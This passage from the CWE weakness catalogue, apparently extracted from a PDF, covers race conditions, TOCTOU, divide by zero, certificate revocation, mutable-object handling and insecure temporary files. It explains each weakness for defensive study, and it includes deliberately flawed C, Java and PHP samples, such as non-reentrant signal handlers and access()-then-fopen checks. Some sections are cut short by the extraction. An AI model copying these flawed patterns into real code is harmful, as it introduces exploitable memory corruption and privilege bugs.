Integrity Confidentiality Availability	Modify Application Data Modify Memory DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands *It may be possible to cause data corruption and possibly execute arbitrary code by modifying global variables or data structures at unexpected times, violating the assumptions of code that uses this global data.*	
Access Control	Gain Privileges or Assume Identity	

Scope	Impact	Likelihood
	If a signal handler interrupts code that is executing with privileges, it may be possible that the signal handler will also be executed with elevated privileges, possibly making subsequent exploits more severe.	

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Design signal handlers to only set flags, rather than perform complex functionality. These flags can then be checked and acted upon within the main program loop.

Phase: Implementation

Only use reentrant functions within signal handlers. Also, use validation to ensure that state is consistent while performing asynchronous actions that affect the state of execution.

Demonstrative Examples

Example 1:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Example Language: C *(Bad)*

```
char *logMessage;
void handler (int sigNum) {
   syslog(LOG_NOTICE, "%s\n", logMessage);
   free(logMessage);
   /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
   sleep(10);
   exit(0);
}
int main (int argc, char* argv[]) {
   logMessage = strdup(argv[1]);
   /* Register signal handlers. */
   signal(SIGHUP, handler);
   signal(SIGTERM, handler);
   /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
   sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.

- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

Example 2:

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

Example Language: C *(Bad)*

```
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;
void sh (int dummy) {
   syslog(LOG_NOTICE,"%s\n",what);
   free(global2);
   free(global1);
   /* Sleep statements added to expand timing window for race condition */
   sleep(10);
   exit(0);
}
int main (int argc,char* argv[]) {
   what=argv[1];
   global1=strdup(argv[2]);
   global2=malloc(340);
   signal(SIGHUP,sh);
   signal(SIGTERM,sh);
   /* Sleep statements added to expand timing window for race condition */
   sleep(10);
   exit(0);
}
```

However, the following sequence of events may result in a double-free (CWE-415):

1. a SIGHUP is delivered to the process
2. sh() is invoked to process the SIGHUP
3. This first invocation of sh() reaches the point where global1 is freed
4. At this point, a SIGTERM is sent to the process
5. the second invocation of sh() might do another free of global1
6. this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap

management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" [REF-360].

Observed Examples

Reference	Description

CWE-366: Race Condition within a Thread

Weakness ID : 366
Structure : Simple
Abstraction : Base

Description

If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Alter Execution Logic Unexpected State *The main problem is that -- if a lock is overcome -- data could be altered in a bad state.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use locking functionality. This is the recommended solution. Implement some form of locking mechanism around code which alters or reads persistent data in a multithreaded environment.

Phase: Architecture and Design

Create resource-locking validation checks. If no inherent locking mechanisms exist, use flags and signals to enforce your own blocking scheme when resources are being used by other threads of execution.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(Bad)*

```
int foo = 0;
int storenum(int num) {
  static int counter = 0;
  counter++;
  if (num > foo) foo = num;
  return foo;
}
```

Example Language: Java *(Bad)*

```
public classRace {
  static int foo = 0;
  public static void main() {
    new Threader().start();
    foo = 1;
  }
  public static class Threader extends Thread {
    public void run() {
      System.out.println(foo);
    }
  }
}
```

Observed Examples

Reference	Description
CVE-2022-2621	Chain: two threads in a web browser use the same resource (CWE-366), but one of those threads can destroy the resource before the other has completed (CWE-416). *https://www.cve.org/CVERecord?id=CVE-2022-2621*

CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

Weakness ID : 367
Structure : Simple
Abstraction : Base

Description

The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the product to perform invalid actions when the resource is in an unexpected state.

Extended Description

This weakness can be security-relevant when an attacker can influence the state of the resource between check and use. This can happen with shared resources such as files, memory, or even variables in multithreaded programs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	896
ParentOf	B	363	Race Condition Enabling Link Following	905
PeerOf	B	386	Symbolic Name not Mapping to Correct Object	950
CanFollow	B	609	Double-Checked Locking	1374

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	896

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	2366

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

TOCTTOU : The TOCTTOU acronym expands to "Time Of Check To Time Of Use".

TOCCTOU : The TOCCTOU acronym is most likely a typo of TOCTTOU, but it has been used in some influential documents, so the typo is repeated fairly frequently.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Alter Execution Logic Unexpected State *The attacker can gain access to otherwise unauthorized resources.*	
Integrity Other	Modify Application Data Modify Files or Directories Modify Memory	

Scope	Impact	Likelihood
	Other *Race conditions such as this kind may be employed to gain read or write access to resources which are not normally readable or writable by the user in question.*	
Integrity Other	Other *The resource in question, or other resources (through the corrupted one), may be changed in undesirable ways by a malicious user.*	
Non-Repudiation	Hide Activities *If a file or other resource is written in this method, as opposed to in a valid way, logging of the activity may not occur.*	
Non-Repudiation Other	Other *In some cases it may be possible to delete files a malicious user might not otherwise have access to, such as log files.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.

Phase: Implementation

When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.

Phase: Architecture and Design

Limit the interleaving of operations on files from multiple processes.

Phase: Implementation

Phase: Architecture and Design

If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.

Phase: Implementation

Recheck the resource after the use call to verify that the action was taken appropriately.

Phase: Architecture and Design

Ensure that some environmental locking mechanism can be used to protect resources effectively.

Phase: Implementation

Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.

Demonstrative Examples

Example 1:

The following code checks a file, then updates its contents.

Example Language: C *(Bad)*

```
struct stat *sb;
...
lstat("...",sb); // it has not been updated since the last time it was read
printf("stated file\n");
if (sb->st_mtimespec==...){
   print("Now updating things\n");
   updateThings();
}
```

Potentially the file could have been updated between the time of the check and the lstat, especially since the printf has latency.

Example 2:

The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not use its root privileges to perform operations that should otherwise be unavailable the current user. The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations.

Example Language: C *(Bad)*

```
if(!access(file,W_OK)) {
   f = fopen(file,"w+");
   operate(f);
   ...
}
else {
   fprintf(stderr,"Unable to open file %s.\n",file);
}
```

The call to access() behaves as expected, and returns 0 if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both access() and fopen() operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to fopen() that it did when it was passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges. This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target.

Example 3:

This code prints the contents of a file if a user has permission.

Example Language: PHP *(Bad)*

```
function readFile($filename){
   $user = getCurrentUser();
   //resolve file if its a symbolic link
   if(is_link($filename)){
      $filename = readlink($filename);
   }
   if(fileowner($filename) == $user){
      echo file_get_contents($realFile);
      return;
   }
   else{
      echo 'Access denied';
      return false;
   }
}
```

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to is_link() and file_get_contents(), allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

Example 4:

This example is adapted from [REF-18]. Assume that this code block is invoked from multiple threads. The switch statement will execute different code depending on the time when MYFILE.txt was last changed.

Example Language: C *(Bad)*

```
#include <sys/types.h>
#include <sys/stat.h>
...
struct stat sb;
stat("MYFILE.txt",&sb);
printf("file change time: %d\n",sb->st_ctime);
switch(sb->st_ctime % 2){
   case 0: printf("Option 1\n"); break;
   case 1: printf("Option 2\n"); break;
   default: printf("this should be unreachable?\n"); break;
}
```

If this code block were executed within multiple threads, and MYFILE.txt changed between the operation of one thread and another, then the switch could produce different, possibly unexpected results.

Observed Examples

Reference	Description
CVE-2015-1743	TOCTOU in sandbox process allows installation of untrusted browser add-ons by replacing a file after it has been verified, but before it is executed *https://www.cve.org/CVERecord?id=CVE-2015-1743*
CVE-2003-0813	Chain: A multi-threaded race condition (CWE-367) allows attackers to cause two threads to process the same RPC request, which causes a use-after-free (CWE-416) in one thread *https://www.cve.org/CVERecord?id=CVE-2003-0813*
CVE-2004-0594	PHP flaw allows remote attackers to execute arbitrary code by aborting execution before the initialization of key data structures is complete. *https://www.cve.org/CVERecord?id=CVE-2004-0594*
CVE-2008-2958	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks. *https://www.cve.org/CVERecord?id=CVE-2008-2958*

Reference	Description
CVE-2008-1570	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks. *https://www.cve.org/CVERecord?id=CVE-2008-1570*

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2563

Notes

Relationship

TOCTOU issues do not always involve symlinks, and not every symlink issue is a TOCTOU problem.

Research Gap

Non-symlink TOCTOU issues are not reported frequently, but they are likely to occur in code that attempts to be secure.

CWE-368: Context Switching Race Condition

Weakness ID : 368
Structure : Simple
Abstraction : Base

Description

A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch.

Extended Description

This is commonly seen in web browser vulnerabilities in which the attacker can perform certain actions while the browser is transitioning from a trusted to an untrusted domain, or vice versa, and the browser performs the actions on one domain using the trust level and resources of the other domain.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	896
CanAlsoBe	B	364	Signal Handler Race Condition	907

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	2366

Weakness Ordinalities

Primary : This weakness can be primary to almost anything, depending on the context of the race condition.

Resultant : This weakness can be resultant from insufficient compartmentalization (CWE-653), incorrect locking, improper initialization or shutdown, or a number of other weaknesses.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	

Observed Examples

Reference	Description
CVE-2009-1837	Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416) *https://www.cve.org/CVERecord?id=CVE-2009-1837*
CVE-2004-2260	Browser updates address bar as soon as user clicks on a link instead of when the page has loaded, allowing spoofing by redirecting to another page using onUnload method. ** this is one example of the role of "hooks" and context switches, and should be captured somehow - also a race condition of sorts ** *https://www.cve.org/CVERecord?id=CVE-2004-2260*
CVE-2004-0191	XSS when web browser executes Javascript events in the context of a new page while it's being loaded, allowing interaction with previous page in different domain. *https://www.cve.org/CVERecord?id=CVE-2004-0191*
CVE-2004-2491	Web browser fills in address bar of clicked-on link before page has been loaded, and doesn't update afterward. *https://www.cve.org/CVERecord?id=CVE-2004-2491*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	2448
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2563

Notes

Relationship

Can overlap signal handler race conditions.

Research Gap

Under-studied as a concept. Frequency unknown; few vulnerability reports give enough detail to know when a context switching race condition is a factor.

CWE-369: Divide By Zero

Weakness ID : 369
Structure : Simple
Abstraction : Base

Description

The product divides a value by zero.

Extended Description

This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *A Divide by Zero results in a crash.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs.

Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Demonstrative Examples

Example 1:

The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur.

Example Language: Java *(Bad)*

```
public int computeAverageResponseTime (int totalTime, int numRequests) {
   return totalTime / numRequests;
}
```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception.

Example Language: Java *(Good)*

```
public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {
   if (numRequests == 0) {
      System.out.println("Division by zero attempted!");
      throw ArithmeticException;
   }
   return totalTime / numRequests;
}
```

Example 2:

The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

Example Language: C *(Bad)*

```
double divide(double x, double y){
   return x/y;
}
```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error.

Example Language: C *(Good)*

```
const int DivideByZero = 10;
double divide(double x, double y){
   if ( 0 == y ){
      throw DivideByZero;
   }
   return x/y;
}
...
try{
```

```
    divide(10, 0);
}
catch( int i ){
    if(i==DivideByZero) {
        cerr<<"Divide by zero error";
    }
}
```

Example 3:

The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

Example Language: C# *(Bad)*

```
int Division(int x, int y){
    return (x / y);
}
```

The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero.

Example Language: C# *(Good)*

```
int SafeDivision(int x, int y){
    try{
        return (x / y);
    }
    catch (System.DivideByZeroException dbz){
        System.Console.WriteLine("Division by zero attempted!");
        return 0;
    }
}
```

Observed Examples

CWE-370: Missing Check for Certificate Revocation after Initial Check

Weakness ID : 370
Structure : Simple
Abstraction : Variant

Description

The product does not check the revocation status of a certificate after its initial revocation check, which can cause the product to perform privileged actions even after the certificate is revoked at a later time.

Extended Description

If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	2466

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *Trust may be assigned to an entity who is not who it claims to be.*	
Integrity	Modify Application Data *Data from an untrusted (and possibly malicious) source may be integrated.*	
Confidentiality	Read Application Data *Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.*	

Potential Mitigations

Phase: Architecture and Design

Ensure that certificates are checked for revoked status before each use of a protected resource. If the certificate is checked before each access of a protected resource, the delay subject to a possible race condition becomes almost negligible and significantly reduces the risk associated with this issue.

Demonstrative Examples

Example 1:

The following code checks a certificate before performing an action.

Example Language: C *(Bad)*

```
if (cert = SSL_get_peer_certificate(ssl)) {
  foo=SSL_get_verify_result(ssl);
  if (X509_V_OK==foo)
    //do stuff
    foo=SSL_get_verify_result(ssl);
    //do more stuff without the check.
```

While the code performs the certificate verification before each action, it does not check the result of the verification after the initial attempt. The certificate may have been revoked in the time between the privileged actions.

CWE-372: Incomplete Internal State Distinction

Weakness ID : 372
Structure : Simple
Abstraction : Base

Description

The product does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2437
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2582

Notes

Relationship

This conceptually overlaps other categories such as insufficient verification, but this entry refers to the product's incorrect perception of its own state.

Relationship

This is probably resultant from other weaknesses such as unhandled error conditions, inability to handle out-of-order steps, multiple interpretation errors, etc.

Maintenance

This entry is being considered for deprecation. It was poorly-defined in PLOVER and is not easily described using the behavior/resource/property model of vulnerability theory.

CWE-374: Passing Mutable Objects to an Untrusted Method

Weakness ID : 374
Structure : Simple
Abstraction : Base

Description

The product sends non-cloned mutable data as an argument to a method or function.

Extended Description

The function or method that has been called can alter or delete the mutable data. This could violate assumptions that the calling function has made about its state. In situations where unknown code is called with references to mutable data, this external code could make changes to the data sent. If this data was not previously cloned, the modified data might not be valid in the context of execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory *Potentially data could be tampered with by another function which should not have been tampered with.*	

Potential Mitigations

Phase: Implementation

Pass in data which should not be altered as constant or immutable.

Phase: Implementation

Clone all mutable data before passing it into an external function . This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(Bad)*

```
private:
   int foo;
   complexType bar;
   String baz;
   otherClass externalClass;
public:
   void doStuff() {
      externalClass.doOtherStuff(foo, bar, baz)
   }
```

In this example, bar and baz will be passed by reference to doOtherStuff() which may change them.

Example 2:

In the following Java example, the BookStore class manages the sale of books in a bookstore, this class includes the member objects for the bookstore inventory and sales database manager classes. The BookStore class includes a method for updating the sales database and inventory when a book is sold. This method retrieves a Book object from the bookstore inventory object using the supplied ISBN number for the book class, then calls a method for the sales object to update the sales information and then calls a method for the inventory object to update inventory for the BookStore.

Example Language: Java *(Bad)*

```
public class BookStore {
   private BookStoreInventory inventory;
   private SalesDBManager sales;
   ...
   // constructor for BookStore
   public BookStore() {
      this.inventory = new BookStoreInventory();
      this.sales = new SalesDBManager();
      ...
   }
   public void updateSalesAndInventoryForBookSold(String bookISBN) {
      // Get book object from inventory using ISBN
      Book book = inventory.getBookWithISBN(bookISBN);
      // update sales information for book sold
      sales.updateSalesInformation(book);
      // update inventory
      inventory.updateInventory(book);
   }
   // other BookStore methods
   ...
}
public class Book {
   private String title;
   private String author;
   private String isbn;
   // Book object constructors and get/set methods
   ...
}
```

However, in this example the Book object that is retrieved and passed to the method of the sales object could have its contents modified by the method. This could cause unexpected results when the book object is sent to the method for the inventory object to update the inventory.

In the Java programming language arguments to methods are passed by value, however in the case of objects a reference to the object is passed by value to the method. When an object reference is passed as a method argument a copy of the object reference is made within the method and therefore both references point to the same object. This allows the contents of the object to be modified by the method that holds the copy of the object reference. [REF-374]

In this case the contents of the Book object could be modified by the method of the sales object prior to the call to update the inventory.

To prevent the contents of the Book object from being modified, a copy of the Book object should be made before the method call to the sales object. In the following example a copy of the Book object is made using the clone() method and the copy of the Book object is passed to the method of the sales object. This will prevent any changes being made to the original Book object.

Example Language: Java *(Good)*

```
...
public void updateSalesAndInventoryForBookSold(String bookISBN) {
   // Get book object from inventory using ISBN
   Book book = inventory.getBookWithISBN(bookISBN);
   // Create copy of book object to make sure contents are not changed
   Book bookSold = (Book) book.clone();
```

```
    // update sales information for book sold
    sales.updateSalesInformation(bookSold);
    // update inventory
    inventory.updateInventory(book);
}
...
```

CWE-375: Returning a Mutable Object to an Untrusted Caller

Weakness ID : 375
Structure : Simple
Abstraction : Base

Description

Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function.

Extended Description

In situations where functions return references to mutable data, it is possible that the external code which called the function may make changes to the data sent. If this data was not previously cloned, the class will then be using modified data which may violate assumptions about its internal state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

MemberOf	C	371	State Issues	2358

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control Integrity	Modify Memory *Potentially data could be tampered with by another function which should not have been tampered with.*	

Potential Mitigations

Phase: Implementation

Declare returned data which should not be altered as constant or immutable.

Phase: Implementation

Clone all mutable data before returning references to it. This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

Demonstrative Examples

Example 1:

This class has a private list of patients, but provides a way to see the list :

Example Language: Java *(Bad)*

```
public class ClinicalTrial {
  private PatientClass[] patientList = new PatientClass[50];
  public getPatients(...){
    return patientList;
  }
}
```

While this code only means to allow reading of the patient list, the getPatients() method returns a reference to the class's original patient list instead of a reference to a copy of the list. Any caller of this method can arbitrarily modify the contents of the patient list even though it is a private member of the class.

CWE-377: Insecure Temporary File

Weakness ID : 377
Structure : Simple
Abstraction : Class

Description

Creating and using insecure temporary files can leave application and system data vulnerable to attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1481
ParentOf	B	378	Creation of Temporary File With Insecure Permissions	936
ParentOf	B	379	Creation of Temporary File in Directory with Insecure Permissions	938

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

The following code uses a temporary file for storing intermediate data gathered from the network before it is processed.

Example Language: C *(Bad)*

```
if (tmpnam_r(filename)) {
  FILE* tmp = fopen(filename,"wb+");
  while((recv(sock,recvbuf,DATA_SIZE, 0) > 0)&(amt!=0)) amt = fwrite(recvbuf,1,DATA_SIZE,tmp);
}
...
```

This otherwise unremarkable code is vulnerable to a number of different attacks because it relies on an insecure method for creating temporary files. The vulnerabilities introduced by this function and others are described in the following sections. The most egregious security problems related to temporary file creation have occurred on Unix-based operating systems, but Windows applications have parallel risks. This section includes a discussion of temporary file creation on both Unix and Windows systems. Methods and behaviors can vary between systems, but the fundamental risks introduced by each are reasonably constant.

Observed Examples

Reference	Description
CVE-2022-41954	A library uses the Java File.createTempFile() method which creates a file with "-rw-r--r--" default permissions on Unix-like operating systems *https://www.cve.org/CVERecord?id=CVE-2022-41954*

Notes

Other

Applications require temporary files so frequently that many different mechanisms exist for creating them in the C Library and Windows(R) API. Most of these functions are vulnerable to various forms of attacks. The functions designed to aid in the creation of temporary files can be broken into two groups based whether they simply provide a filename or actually open a new file. - Group 1: "Unique" Filenames: The first group of C Library and WinAPI functions designed to help with the process of creating temporary files do so by generating a unique file name for a new temporary file, which the program is then supposed to open. This group includes C Library functions like tmpnam(), tempnam(), mktemp() and their C++ equivalents prefaced with an _ (underscore) as well as the GetTempFileName() function from the Windows API. This group of functions suffers from an underlying race condition on the filename chosen. Although the functions guarantee that the filename is unique at the time it is selected, there is no mechanism to prevent another process or an attacker from creating a file with the same name after it is selected but before the application attempts to open the file. Beyond the risk of a legitimate collision caused by another call to the same function, there is a high probability that an attacker will be able to create a malicious collision because the filenames generated by these functions are not sufficiently randomized to make them difficult to guess. If a file with the selected name is created, then depending on how the file is opened the existing contents or access permissions of the file may remain intact. If the existing contents of the file are malicious in nature, an attacker may be able to inject dangerous data into the application when it reads data back from the temporary file. If an attacker pre-creates the file with relaxed access permissions, then data stored in the temporary file by the application may be 